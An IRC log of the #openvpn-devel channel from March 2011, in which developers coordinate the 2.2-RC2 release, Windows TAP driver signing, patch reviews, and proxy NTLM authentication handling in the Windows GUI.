psha [~psha@213.208.162.69] has joined #openvpn-devel 03:37 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 04:31 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:38 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 11:58 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 13:59 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 15:19 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel ["Leaving"] 16:00 <@vpnHelper> RSS Update - tickets: #103: --listen with ipv6 support <https://community.openvpn.net/openvpn/ticket/103> 16:26 -!- andj is now known as andj_afk 16:31 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 17:14 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 19:13 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 19:24 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 19:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Mar 14 2011 00:39 -!- Netsplit *.net <-> *.split quits: @vpnHelper 01:02 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 01:02 -!- ServerMode/#openvpn-devel [+o vpnHelper] by anthony.freenode.net 01:35 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:22 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:22 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:50 -!- dazo_afk is now known as dazo 04:48 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 05:12 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 246 seconds] 05:16 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 08:12 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 11:24 -!- andj_afk is now known as andj 12:18 -!- dazo is now known as dazo_afk 12:48 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:49 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:18 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 13:18 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 13:18 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 13:18 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:24 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 13:37 -!- andj is now known as andj_afk 13:56 -!- waldner [~waldner@unaffiliated/waldner] has quit [Ping timeout: 248 seconds] 13:57 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 14:05 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 14:07 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 14:07 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 14:07 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 14:19 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 14:22 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 14:22 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 14:22 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 15:23 <+krzee> !snapshots 15:23 <@vpnHelper> "snapshots" is (#1) weekly dev snapshots are available from ftp://ftp.secure-computing.net/pub/openvpn, or (#2) Weekly snapshots: ftp://ftp.secure-computing.net/pub/openvpn or ftp://ftp2.secure-computing.net/pub/openvpn 16:18 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 16:38 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 20:25 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 20:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:58 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] --- Day changed Tue Mar 15 2011 01:07 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:38 -!- andj_afk is now known as andj 02:18 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Quit: EvilJStoker is gone :(] 02:23 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 02:56 -!- psha [~psha@213.208.162.69] has quit [Read error: Operation timed out] 02:57 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 03:33 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:59 -!- dazo_afk is now known as dazo 06:10 -!- Dark-Fx [~bamcpher@dark-fx.com] has quit [Read error: Operation timed out] 06:10 -!- Dark-Fx [~bamcpher@2607:f4b8:7::1] has joined #openvpn-devel 06:34 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 06:34 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 06:34 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 06:34 -!- mode/#openvpn-devel [+v janjust] by ChanServ 07:27 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 09:19 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has quit [Read error: Operation timed out] 09:22 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 09:50 <@mattock> latest buildsystem patches sent to openvpn-devel 09:50 <@mattock> asked james to review (NACK/ACK) them by tomorrow evening 09:51 <@mattock> hopefully 2.2-RC2 will be signed and ready for release by Friday 09:52 <@mattock> the first 2.2-RC2 preview installer is here: http://build.openvpn.net/downloads/releases/openvpn-2.2-RC2-install-preview-1.exe 09:53 <@mattock> works on WinXP 32-bit, fails on Win7 64-bit due to unsigned drivers 09:59 <@dazo> sweet! looking fwd for the final patches :) 10:05 < ecrist> why do we have to keep signing drivers, are there changes being made? 10:09 <@dazo> ecrist: we had forgotten to update the driver in the RC release ... so we're now finally getting them up-to-date 10:09 < ecrist> ah 10:10 < ecrist> I didn't think the drivers were changing that much. 10:12 <@dazo> heh ... mattock's "Updated INSTALL-win32.txt" patch mail got tagged as spam .... I wonder if this line was the trigger: "MPORTANT NOTE FOR WINDOWS VISTA/7 USERS" :-P 10:13 < ecrist> lol 10:13 < ecrist> V14GR4 CH34P! 10:13 <@dazo> yeah ;) 10:33 <@dazo> mattock: I'm looking at "[Openvpn-devel] [PATCH] Replaced config-win32.h with win/config.h.in" ... what is the changes in win/wb.py? 10:34 <@dazo> I'm thinking about the very first block (def decit_def) 10:34 <@dazo> (def dict_def) 10:41 <@dazo> mattock: there is also a similar issue with 'def preprocess' as well ... I don't really see the difference 10:57 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 13:14 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 13:31 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:31 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:37 -!- dazo is now known as dazo_afk 14:46 <@mattock> dazo: I noticed the same... probably triggered by a mixture of UNIX/Windows linefeeds 14:46 <@mattock> there is no real difference 14:46 <@mattock> any suggestions on how to fix it? 14:49 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 14:49 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 14:49 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 14:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:09 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 16:40 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 16:40 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 16:40 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 16:40 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:58 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 17:16 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 17:28 -!- grzechu [~grzechu@nissanzone.pl] has joined #openvpn-devel 17:39 -!- grzechu [~grzechu@nissanzone.pl] has quit [Quit: ")] 19:31 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 19:31 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed Mar 16 2011 01:49 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:47 -!- dazo_afk is now known as dazo 02:51 -!- andj is now known as andj_afk 03:52 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:08 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 04:09 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 06:01 -!- dazo is now known as dazo_afk 06:10 -!- dazo_afk is now known as dazo 06:32 -!- dazo is now known as dazo_afk 07:28 -!- kisom_ [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 07:29 -!- kisom_ is now known as Guest99670 07:29 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 240 seconds] 08:05 -!- janjust [~janjust@schrepel.nikhef.nl] has joined #openvpn-devel 08:05 -!- janjust [~janjust@schrepel.nikhef.nl] has quit [Changing host] 08:05 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 08:05 -!- mode/#openvpn-devel [+v janjust] by ChanServ 08:06 -!- janjust [~janjust@openvpn/community/support/janjust] has left #openvpn-devel [] 08:06 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 08:06 -!- mode/#openvpn-devel [+v janjust] by ChanServ 08:11 -!- andj_afk is now known as andj 09:09 <@mattock> more windows fun: self-signed test certificates: https://community.openvpn.net/openvpn/wiki/BuildingOnWindows#TAP-driversigning 09:09 <@vpnHelper> Title: BuildingOnWindows – OpenVPN Community (at community.openvpn.net) 09:53 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Ping timeout: 240 seconds] 11:28 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 12:17 < Essobi> krzee: Nate Dogg died. :( 13:00 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:00 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:18 < Essobi> mattock: Nice. 13:54 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 15:08 <@vpnHelper> RSS Update - tickets: #104: DNS sometime not working in Windows <https://community.openvpn.net/openvpn/ticket/104> 16:36 -!- psha [~psha@213.208.162.69] has quit [Quit: zzz] 17:16 -!- Guest99670 [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Read error: Operation timed out] 17:16 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 17:41 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 22:50 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 22:50 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 22:50 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 22:50 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Mar 17 2011 01:42 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:01 -!- andj is now known as andj_afk 02:58 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 03:30 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:30 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:30 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:59 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 03:59 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 03:59 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 03:59 -!- mode/#openvpn-devel [+v janjust] by ChanServ 04:08 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 04:09 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 04:26 -!- psha [~psha@213.208.162.69] has quit [Read error: No route to host] 04:27 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 04:44 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Read error: Operation timed out] 06:05 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:05 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:08 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 06:30 <@mattock> this version has a test-signed TAP-driver and works on Win7 64-bit if it's in "Test mode": http://build.openvpn.net/downloads/releases/openvpn-2.2-RC2-install-preview-2.exe 06:44 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 08:23 <+krzee> yay 08:23 <+krzee> just setup a jabber server, bot, and scripts that can message over jabber from bash 08:23 <+krzee> the bot is able to run bash scripts and responds with the output 08:52 < ecrist> krzee: you should have said something. I already had a jabber bot I wrote in perl 08:52 < ecrist> reads RSS feeds, and does a few other things. 08:53 <+krzee> it only took minutes 08:53 <+krzee> python jabberbot is slick 08:53 <+krzee> at least for my needs 08:56 < ecrist> ah 08:57 <+krzee> and for messging from within a bash script: 08:57 <+krzee> DESCRIPTION 08:57 <+krzee> sendxmpp is a program to send XMPP (Jabber) messages from the 08:57 <+krzee> commandline, not unlike mail(1). Messages can be sent both to 08:57 <+krzee> individual recipients and chatrooms. 08:57 < ecrist> http://www.secure-computing.net/svn/trunk/sphynx/ 08:57 <@vpnHelper> Title: svn - Revision 319: /trunk/sphynx (at www.secure-computing.net) 08:59 < ecrist> it needs some work as it requires a certain directory structure we use in-house right now, but that's pretty minor. 11:09 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:00 -!- andj_afk is now known as andj 13:04 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:04 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:17 <@mattock> hi jamesyonan! 13:17 <@jamesyonan> hi 13:18 <@mattock> did you have time to review my 3 patches? 13:19 <@mattock> http://article.gmane.org/gmane.network.openvpn.devel/4458 13:19 <@mattock> http://article.gmane.org/gmane.network.openvpn.devel/4509 13:19 <@mattock> http://article.gmane.org/gmane.network.openvpn.devel/4508 13:19 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 13:19 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 13:19 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 13:20 <@mattock> I tested 2.2-RC2 with the TAP-driver modifications on WinXP 32-bit and Win7 64-bit (test mode) and it seemed to work ok 13:40 <@jamesyonan> mattock: I'm looking at the patches now 13:43 <@jamesyonan> mattock: microsoft has said in the past that people who redistribute devcon.exe should rename it -- that's why we call it tapinstall 13:46 -!- patelx [~patel@openvpn/corp/admin/patel] has quit [Ping timeout: 250 seconds] 13:47 <@mattock> oh, I see 13:47 <@mattock> it's installed as tapinstall.exe 13:55 <@mattock> it seems there are some sections marked as changed, even though they're not 13:55 <@mattock> I'd guess it has to do with DOS/UNIX linefeeds 13:55 <@mattock> or possibly tabs being converted to spaces (or vice versa) 13:55 <@mattock> or, something to do with Git's whitespace handling 14:00 -!- patelx [~patel@openvpn/corp/admin/patel] has joined #openvpn-devel 14:00 -!- mode/#openvpn-devel [+o patelx] by ChanServ 14:00 < ecrist> hola 14:34 < Essobi> whatup 16:20 <@mattock> jamesyonan: if the patches need any modifications let me know... I'd like to fix them tomorrow, if possible 16:20 <@mattock> I'm off to bed now 17:33 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 17:43 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 17:50 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 17:50 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:08 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 23:23 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 23:24 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 23:24 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 23:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:37 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 23:47 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 23:47 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri Mar 18 2011 00:43 -!- cyberroa1ie [~cyberroad@184-106-222-37.static.cloud-ips.com] has quit [Ping timeout: 276 seconds] 00:44 -!- cyberroadie [~cyberroad@184-106-222-37.static.cloud-ips.com] has joined #openvpn-devel 01:25 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 01:43 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:11 <@mattock> jamesyonan: thanks for reviewing the patches! 02:51 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 02:59 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 03:06 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 264 seconds] 03:15 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:31 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 03:31 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:43 -!- krzee [krzee@openvpn/community/support/krzee] has left #openvpn-devel ["Leaving"] 03:45 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 03:45 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 03:45 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 03:45 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:47 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 06:17 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 06:21 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 09:11 -!- reiffert [~thomas@mail.reifferscheid.org] has joined #openvpn-devel 09:33 <@mattock> ecrist: I noticed mod_rewrite rule for "Profile -> Edit account settings" was broken, so I fixed it 09:40 < ecrist> thanks. 09:43 -!- Glanzmann [~sithglan@infra.glanzmann.de] has joined #openvpn-devel 09:43 < Glanzmann> reiffert: Und Dich anscheinend auch. :-) 09:44 < Glanzmann> How are you? 09:49 < Glanzmann> d12fk: Just send you an update via e-mail. 09:53 <@d12fk> Glanzmann: hi, yeah just read it 09:54 <@d12fk> Glanzmann: I expected to receive the proxy auth request via the mgmt itf from ovpn 09:55 <@d12fk> instead there's this hack I forgot about 09:56 < Glanzmann> I see, so normally you wouldn't provide a file with credentials, but ask the gui via the mgmt interface everytime the password is required? 09:56 <@d12fk> the trailing dot is likely caused by an off-by-one introduced during I hacked in unicode. I just fixed another couple of those today 09:56 < cron2_> mattock: any word from James when he can sign the drivers you've built? 09:57 < Glanzmann> d12fk: I see. 09:57 < cron2_> Glanzmann, d12fk: german channel today, isn't it? :) 09:57 <@mattock> cron2: nope, but dazo would have to merge my patches and tag the tree, too 09:57 <@d12fk> Glanzmann: well that's how I expected it to work, but am not sure anymore 09:57 <@d12fk> bartwurst 09:57 < Glanzmann> d12fk: So basically the file gets created but without the dot and that is the problem? 09:57 <@d12fk> äh ... 09:57 <@d12fk> Glanzmann: something like it 09:58 <@mattock> cron2: you can help by giving an ACK to my trivial "Updated INSTALL-win32.txt" patch :) 09:58 < Glanzmann> Okay, if you have a new version for me to try, I'm more than happy to do so. 09:58 <@d12fk> Glanzmann: i'll look up the mgmt itf docs right now and see if proxy auth is supported 09:59 < cron2_> mattock: uh, seems I missed that, what's the subject line? 09:59 <@mattock> cron2: "Updated INSTALL-win32.txt" 09:59 <@mattock> should have arrived to -devel 09:59 < cron2_> ah, there we go. saw it, saved it to openvpn folder, forgot about it. 10:01 < Glanzmann> d12fk: At least if it is compiled with HTTP_PROXY_FALLBACK 10:04 <@d12fk> Glanzmann: hm the docs say nothing about it: 10:04 <@d12fk> If OpenVPN is run with the --management-query-passwords 10:04 <@d12fk> directive, it will query the management interface for RSA 10:04 <@d12fk> private key passwords and the --auth-user-pass 10:04 <@d12fk> username/password. 10:04 <@d12fk> When OpenVPN needs a password from the management interface, 10:04 <@d12fk> it will produce a real-time ">PASSWORD:" message. 10:05 < Glanzmann> d12fk: It is not supported, no. 10:05 < Glanzmann> At least from what I saw from reading the source code. 10:06 < Glanzmann> But, you can supply fallback proxy with a credential file. 10:06 < Glanzmann> using the mgmt interface. 10:07 < Glanzmann> manage.c: 114 10:07 < Glanzmann> d12fk: Is it hard to compile the windows gui (what prerequists do I need?) 10:08 < Glanzmann> Because I think it is only one line to change and than I least have something that works, however it is a little bit ugly to write the passwords to the disk, but the disks are encrypted anyway. 10:08 <@d12fk> just cygwin, mingw and libcrypto from somewhere 10:09 <@d12fk> hm, I'd like to see a patch to ovpn where it queries proxy passwords through mgmt 10:09 < Glanzmann> So do I. 10:09 <@d12fk> passing via file is so 80s 10:09 < Glanzmann> But I'm currently don't have the time for it. 10:10 < Glanzmann> d12fk: It's fine when you do it through /dev/shm/, but on windows ... 10:10 <@d12fk> sure. I can bake you customized version 10:10 <@d12fk> just the ntlm suffix right? 10:11 < Glanzmann> Exactly, or better just the 'auto' prefix. 10:11 <@d12fk> ok 10:12 <@d12fk> i'll send it to you via mail 10:12 <@d12fk> well wait, if there's an auto setting I can include it into the official version 10:13 <@d12fk> so watch out for the next snapshot on the sourceforge page 10:13 <@d12fk> it will have the . problem resolved as well 10:14 < Glanzmann> Excatly. 10:14 < Glanzmann> Okay, I'll do so. 10:14 < Glanzmann> I'm just double checking. 10:15 < Glanzmann> If it really works with 2.2 rc with the auto. 10:15 < Glanzmann> Because auto was introduced in this version. 10:16 < Glanzmann> the 'auto' suffix won't work pre 2.2RC versions. 10:21 < Glanzmann> At the moment, I have the problem, that NTLM doesn't work at all with openvpn 10:22 < Glanzmann> At least not with the ISA proxy I'm currently trying. 10:22 <@d12fk> Glanzmann: no problem for me. i don't aim at backward compat 10:22 < Glanzmann> I'll get to you as soon as I have something solid. 10:22 < Glanzmann> d12fk: Okay. 10:22 < Glanzmann> I tried the ntlm authentication stuff successfull with two proxy servers. 10:23 < Glanzmann> But currently I'm behind a proxy server were 2.2 RC ntlm does not work, or I misconfigured it. 10:24 < Glanzmann> Oh and I see the problem. 10:25 < Glanzmann> OpenVPN only supports NTLM authentication to proxy server itself but not to the parent proxy server ... 10:25 < Glanzmann> Maybe I write a patch. 10:25 < Glanzmann> Okay it is farely new, so I have to cut some slack. 10:25 < Glanzmann> However, I need to finish some work, I keep you posted on openssl-devel mailing list. 10:25 <@d12fk> okay 10:26 -!- Glanzmann [~sithglan@infra.glanzmann.de] has quit [Quit: EOF] 10:31 -!- reiffert [~thomas@mail.reifferscheid.org] has left #openvpn-devel [] 13:14 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:14 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:09 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 15:09 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 15:09 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 15:09 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:35 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 16:42 -!- andj is now known as andj_afk 18:44 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 18:44 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:28 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] --- Day changed Sat Mar 19 2011 01:06 -!- andj_afk is now known as andj 01:53 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 01:53 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 01:53 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 01:53 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:29 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 03:04 -!- andj is now known as andj_afk 03:34 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 03:34 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:56 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:10 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 246 seconds] 04:18 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 04:18 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 04:18 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 04:30 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 05:51 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 13:08 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:08 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:30 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 15:30 -!- mode/#openvpn-devel [+v krzie] by ChanServ 15:30 -!- andj_afk is now known as andj 22:03 -!- krzie [krzee@openvpn/community/support/krzee] has left #openvpn-devel ["Leaving"] --- Day changed Sun Mar 20 2011 01:29 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] 04:52 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 13:20 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:21 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 18:17 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 18:17 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:39 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 19:45 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 19:45 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:30 -!- krzie [krzee@hemp.ircpimps.org] has joined #openvpn-devel 23:30 -!- krzie [krzee@hemp.ircpimps.org] has quit [Changing host] 23:30 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 23:30 -!- mode/#openvpn-devel [+v krzie] by ChanServ --- Day changed Mon Mar 21 2011 02:20 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:32 <+krzie> jjk has become rather active on the forum *celebrates* 02:40 -!- dazo_afk is now known as dazo 04:23 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 05:08 -!- dazo is now known as dazo_afk 05:26 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 06:32 -!- dazo_afk is now known as dazo 08:18 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:18 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:49 <@dazo> mattock: Hey! Looking briefly at your patches again ... it's "Fixes to win/openvpn.nsi", "Replaced config-win32.h with win/config.h.in" and "Updated INSTALL-win32.txt" which are the ones we need to pull in? 08:49 <@mattock> dazo: lemme check 08:50 <@dazo> I see "Added support for prebuilt TAP-drivers. Automated embedding manifests" as well 08:50 <@mattock> http://article.gmane.org/gmane.network.openvpn.devel/4510 08:50 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 08:50 <@mattock> http://article.gmane.org/gmane.network.openvpn.devel/4509 08:50 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 08:50 <@mattock> http://article.gmane.org/gmane.network.openvpn.devel/4508 08:50 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 08:50 <@mattock> http://article.gmane.org/gmane.network.openvpn.devel/4458 08:50 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 08:50 <@mattock> these 08:51 <@mattock> in reverse order, to be safe 08:51 <@dazo> Yeah, that's the ones I was looking at 08:52 <@mattock> in my local git tree, latest commit @origin is "Implement IPv6 in TUN mode for Windows TAP driver." 08:52 <@mattock> or 0265cf3a6b646cc02a78cc3501dce77f99e81a5f 08:52 <@dazo> cool! Goodie, I'll apply those patches now ... and prepare another tag 08:53 <@dazo> are there something else in the pipe for 2.2-rc2 which we should beware of? 08:53 * dazo tries to refresh his memory 08:56 <@mattock> dazo: could you wait tagging 2.2-RC2 until I get reply from James to Alon's patch? 08:56 <@dazo> of course! 08:56 <@mattock> he hasn't replied yet, I'll pressure him a little 08:56 <@mattock> :P 08:56 <@dazo> oh right! That's the compat patch 08:56 <@mattock> cross-compilation patch 08:57 <@dazo> mingw stuff, iirc ... 